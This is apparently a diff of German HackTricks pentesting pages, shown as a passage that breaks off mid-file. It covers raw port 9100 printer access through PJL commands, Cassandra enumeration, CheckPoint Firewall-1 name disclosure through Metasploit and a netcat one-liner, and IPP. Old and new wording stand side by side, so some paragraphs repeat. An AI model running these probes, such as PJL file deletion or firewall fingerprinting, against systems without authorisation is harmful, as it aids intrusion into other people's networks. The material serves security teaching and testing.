Von [hier](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Raw Printing ist das, was wir als den Prozess definieren, eine Verbindung zum Port 9100/tcp eines Netzwerkdruckers herzustellen. Es ist die Standardmethode, die von CUPS und der Windows-Druckarchitektur verwendet wird, um mit Netzwerkdruckern zu kommunizieren, da sie als "_das einfachste, schnellste und im Allgemeinen zuverlässigste Netzwerkprotokoll für Drucker_" gilt. Raw Port 9100 Printing, auch als JetDirect, AppSocket oder PDL-Datenstrom bezeichnet, **ist eigentlich kein eigenes Druckprotokoll**. Stattdessen **wird alle gesendete Daten direkt vom Druckgerät verarbeitet**, ähnlich wie bei einer parallelen Verbindung über TCP. Im Gegensatz zu LPD, IPP und SMB kann dies direktes Feedback an den Client senden, einschließlich Status- und Fehlermeldungen. Ein solcher **bidirektionaler Kanal** gibt uns direkten **Zugriff** auf **Ergebnisse** von **PJL-, PostScript-** oder **PCL-Befehlen**. Daher wird Raw Port 9100 Printing - das von fast jedem Netzwerkdrucker unterstützt wird - als Kanal für Sicherheitsanalysen mit PRET und PFT verwendet.
Von [hier](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Rohdruck ist der Prozess, bei dem eine Verbindung zu Port 9100/tcp eines Netzwerkdruckers hergestellt wird. Es ist die Standardmethode, die von CUPS und der Windows-Druckarchitektur verwendet wird, um mit Netzwerkdruckern zu kommunizieren, da sie als „_das einfachste, schnellste und im Allgemeinen zuverlässigste Netzwerkprotokoll für Drucker_“ gilt. Rohdruck über Port 9100, auch als JetDirect, AppSocket oder PDL-Datenstrom bezeichnet, **ist an sich kein Druckprotokoll**. Stattdessen **werden alle gesendeten Daten direkt vom Druckgerät verarbeitet**, ähnlich wie bei einer parallelen Verbindung über TCP. Im Gegensatz zu LPD, IPP und SMB kann dies direktes Feedback an den Client senden, einschließlich Status- und Fehlermeldungen. Ein solcher **bidirektionaler Kanal** gibt uns direkten **Zugriff** auf **Ergebnisse** von **PJL**, **PostScript** oder **PCL**-Befehlen. Daher wird der Rohdruck über Port 9100 der von fast jedem Netzwerkdrucker unterstützt wird als Kanal für Sicherheitsanalysen mit PRET und PFT verwendet.
Wenn Sie mehr über [**Hacking-Drucker erfahren möchten, lesen Sie diese Seite**](http://hacking-printers.net/wiki/index.php/Main_Page).
@ -23,7 +24,7 @@ Wenn Sie mehr über [**Hacking-Drucker erfahren möchten, lesen Sie diese Seite*
```
9100/tcp open jetdirect
```
# Enumeration
# Aufzählung
## Manuell
```bash
@ -43,26 +44,6 @@ nc -vn <IP> 9100
@PJL FSDELETE #Useful to delete a file
```
## Automatisch
PJL (Printer Job Language) ist eine Befehlssprache, die von Druckern verwendet wird, um Druckaufträge zu steuern. Es ermöglicht die Kommunikation zwischen dem Drucker und dem Hostsystem. PJL-Befehle können verwendet werden, um verschiedene Funktionen des Druckers zu steuern, wie z.B. das Drucken von Konfigurationsseiten, das Ändern von Einstellungen und das Ausführen von Diagnosetests.
Einige der gängigsten PJL-Befehle sind:
- `@PJL INFO` - Gibt Informationen über den Drucker zurück.
- `@PJL USTATUS` - Gibt den Status des Druckers zurück.
- `@PJL JOB NAME` - Legt den Namen des Druckauftrags fest.
- `@PJL SET` - Ändert die Einstellungen des Druckers.
- `@PJL EOJ` - Beendet den aktuellen Druckauftrag.
PJL kann auch für Angriffe auf Drucker verwendet werden. Einige mögliche Angriffe sind:
- Den Drucker zum Drucken von unerwünschten Dokumenten zwingen.
- Den Drucker zum Ausführen von schädlichem Code bringen.
- Den Drucker zum Offenlegen von vertraulichen Informationen zwingen.
Um PJL-Befehle automatisch auszuführen, können Skripte oder Tools wie `netcat` oder `telnet` verwendet werden. Diese ermöglichen die Kommunikation mit dem Drucker über das Netzwerk und das Senden von PJL-Befehlen.
Es ist wichtig zu beachten, dass das Ausführen von PJL-Befehlen auf Druckern ohne Berechtigung illegal ist und zu rechtlichen Konsequenzen führen kann. Es sollte nur im Rahmen von legitimen Tests oder mit ausdrücklicher Genehmigung des Druckereigentümers durchgeführt werden.
```bash
nmap -sV --script pjl-ready-message -p <PORT> <IP>
```
@ -77,9 +58,9 @@ msf> use auxiliary/scanner/printer/printer_download_file
msf> use auxiliary/scanner/printer/printer_upload_file
msf> use auxiliary/scanner/printer/printer_delete_file
```
## Drucker-Hacking-Tool
## Drucker Hacking-Tool
Dies ist das Tool, das Sie verwenden möchten, um Drucker zu missbrauchen:
Dies ist das Tool, das Sie verwenden möchten, um Drucker auszunutzen:
{% embed url="https://github.com/RUB-NDS/PRET" %}
@ -88,16 +69,17 @@ Dies ist das Tool, das Sie verwenden möchten, um Drucker zu missbrauchen:
* `pjl port:9100`
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# 9042/9160 - Pentesting Cassandra
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
**Apache Cassandra** ist eine **hoch skalierbare**, **hoch performante** verteilte Datenbank, die entwickelt wurde, um **große Datenmengen** über viele **Standardserver** zu verarbeiten und **hohe Verfügbarkeit** ohne **einen einzigen Ausfallpunkt** zu bieten. Es handelt sich um eine Art von **NoSQL-Datenbank**.
**Apache Cassandra** ist eine **hoch skalierbare**, **leistungsstarke** verteilte Datenbank, die entwickelt wurde, um **große Datenmengen** über viele **Standardserver** zu verwalten und **hohe Verfügbarkeit** ohne **einzelnen Ausfallpunkt** zu bieten. Es handelt sich um eine Art von **NoSQL-Datenbank**.
In einigen Fällen kann es vorkommen, dass Cassandra **beliebige Anmeldeinformationen** akzeptiert (da keine konfiguriert sind), und dies könnte einem Angreifer potenziell ermöglichen, die Datenbank zu **enumerieren**.
In mehreren Fällen kann es vorkommen, dass Cassandra **beliebige Anmeldeinformationen** akzeptiert (da keine konfiguriert sind), was einem Angreifer potenziell ermöglichen könnte, die Datenbank zu **enumerieren**.
**Standardport:** 9042, 9160
**Standardport:** 9042,9160
```
PORT STATE SERVICE REASON
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
@ -45,27 +46,28 @@ SELECT * from configuration."config";
```
### Automatisiert
Hier gibt es nicht viele Optionen und nmap liefert nicht viele Informationen.
Es gibt hier nicht viele Optionen und nmap erhält nicht viele Informationen.
```bash
nmap -sV --script cassandra-info -p <PORT> <IP>
```
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### **Shodan**
`port:9160 Cluster`\
`port:9042 "Ungültige oder nicht unterstützte Protokollversion"`
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
Es ist möglich, mit **CheckPoint** **Firewall-1**-Firewalls zu interagieren, um wertvolle Informationen wie den Namen der Firewall und den Namen der Managementstation zu entdecken. Dies kann durch Senden einer Abfrage an den Port **264/TCP** erfolgen.
Es ist möglich, mit **CheckPoint** **Firewall-1** Firewalls zu interagieren, um wertvolle Informationen wie den Namen der Firewall und den Namen der Managementstation zu entdecken. Dies kann durch das Senden einer Anfrage an den Port **264/TCP** erfolgen.
### Firewall- und Managementstation-Namen erhalten
### Abrufen von Firewall- und Managementstation-Namen
Mit einer vorauthentifizierten Anfrage können Sie ein Modul ausführen, das auf die **CheckPoint Firewall-1** abzielt. Die erforderlichen Befehle für diese Operation sind unten aufgeführt:
Mit einer Vor-Authentifizierungsanfrage können Sie ein Modul ausführen, das auf die **CheckPoint Firewall-1** abzielt. Die notwendigen Befehle für diesen Vorgang sind unten aufgeführt:
```bash
use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.10.10
```
Bei der Ausführung versucht das Modul, den SecuRemote Topology-Dienst der Firewall zu kontaktieren. Wenn dies erfolgreich ist, bestätigt es das Vorhandensein einer CheckPoint Firewall und ruft die Namen der Firewall und des SmartCenter-Verwaltungshosts ab. Hier ist ein Beispiel, wie die Ausgabe aussehen könnte:
Bei der Ausführung versucht das Modul, den SecuRemote Topologiedienst der Firewall zu kontaktieren. Bei Erfolg bestätigt es die Anwesenheit einer CheckPoint-Firewall und ruft die Namen sowohl der Firewall als auch des SmartCenter-Managementhosts ab. Hier ist ein Beispiel, wie die Ausgabe aussehen könnte:
```text
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
@ -32,11 +33,11 @@ Bei der Ausführung versucht das Modul, den SecuRemote Topology-Dienst der Firew
```
### Alternative Methode zur Entdeckung von Hostnamen und ICA-Namen
Eine andere Methode besteht darin, einen direkten Befehl zu verwenden, der eine spezifische Abfrage an die Firewall sendet und die Antwort analysiert, um den Hostnamen und den ICA-Namen der Firewall zu extrahieren. Der Befehl und seine Struktur lauten wie folgt:
Eine weitere Technik beinhaltet einen direkten Befehl, der eine spezifische Abfrage an die Firewall sendet und die Antwort analysiert, um den Hostnamen und den ICA-Namen der Firewall zu extrahieren. Der Befehl und seine Struktur sind wie folgt:
```bash
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
```
Die Ausgabe dieses Befehls liefert detaillierte Informationen zum Zertifikatsnamen (CN) und zur Organisation (O) der Firewall, wie unten dargestellt:
Die Ausgabe dieses Befehls liefert detaillierte Informationen über den Zertifikatsnamen (CN) und die Organisation (O) der Firewall, wie unten dargestellt:
```text
CN=Panama,O=MGMTT.srv.rxfrmi
```
@ -47,16 +48,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Internet Printing Protocol \(IPP\)
Das **Internet Printing Protocol (IPP)**, wie in **RFC2910** und **RFC2911** spezifiziert, dient als Grundlage für das Drucken über das Internet. Seine Fähigkeit zur Erweiterung wird durch Entwicklungen wie **IPP Everywhere** demonstriert, das mobiles und Cloud-Drucken standardisieren soll, sowie durch die Einführung von Erweiterungen für **3D-Druck**.
Das **Internet Printing Protocol (IPP)**, wie in **RFC2910** und **RFC2911** spezifiziert, dient als Grundlage für das Drucken über das Internet. Seine Erweiterbarkeit wird durch Entwicklungen wie **IPP Everywhere** demonstriert, das darauf abzielt, mobiles und Cloud-Drucken zu standardisieren, sowie durch die Einführung von Erweiterungen für **3D-Druck**.
Durch die Nutzung des **HTTP**-Protokolls profitiert IPP von etablierten Sicherheitspraktiken wie **Grund-/Digest-Authentifizierung** und **SSL/TLS-Verschlüsselung**. Aktionen wie das Übermitteln eines Druckauftrags oder das Abfragen des Druckerstatus werden über **HTTP POST-Anfragen** an den IPP-Server ausgeführt, der auf **Port 631/tcp** arbeitet.
Durch die Nutzung des **HTTP**-Protokolls profitiert IPP von etablierten Sicherheitspraktiken, einschließlich **Basis-/Digest-Authentifizierung** und **SSL/TLS-Verschlüsselung**. Aktionen wie das Einreichen eines Druckauftrags oder das Abfragen des Druckerstatus werden durch **HTTP POST-Anfragen** an den IPP-Server durchgeführt, der auf **Port 631/tcp** arbeitet.
Eine bekannte Implementierung von IPP ist **CUPS**, ein Open-Source-Drucksystem, das in verschiedenen Linux-Distributionen und OS X weit verbreitet ist. Trotz seiner Nützlichkeit kann IPP, ähnlich wie LPD, ausgenutzt werden, um bösartigen Inhalt über **PostScript**- oder **PJL-Dateien** zu übertragen und somit ein potentielles Sicherheitsrisiko darzustellen.
Eine bekannte Implementierung von IPP ist **CUPS**, ein Open-Source-Drucksystem, das in verschiedenen Linux-Distributionen und OS X verbreitet ist. Trotz seiner Nützlichkeit kann IPP, ähnlich wie LPD, ausgenutzt werden, um bösartige Inhalte über **PostScript** oder **PJL-Dateien** zu übertragen, was ein potenzielles Sicherheitsrisiko darstellt.
```python
# Example of sending an IPP request using Python
import requests
@ -31,18 +32,19 @@ data = b"..." # IPP request data goes here
response = requests.post(url, headers=headers, data=data, verify=True)
print(response.status_code)
```
Wenn Sie mehr über das Hacken von Druckern erfahren möchten, lesen Sie diese Seite.
Wenn Sie mehr über [**Hacking von Druckern erfahren möchten, lesen Sie diese Seite**](http://hacking-printers.net/wiki/index.php/Main_Page).
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [offizielle PEASS & HackTricks-Merchandise](https://peass.creator-spring.com)
* Entdecken Sie [The PEASS Family](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [NFTs](https://opensea.io/collection/the-peass-family)
* Treten Sie der 💬 [Discord-Gruppe](https://discord.gg/hRep4RUj7f) oder der [Telegram-Gruppe](https://t.me/peass) bei oder folgen Sie uns auf Twitter 🐦 [@carlospolopm](https://twitter.com/hacktricks_live).
* Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die [HackTricks](https://github.com/carlospolop/hacktricks) und [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
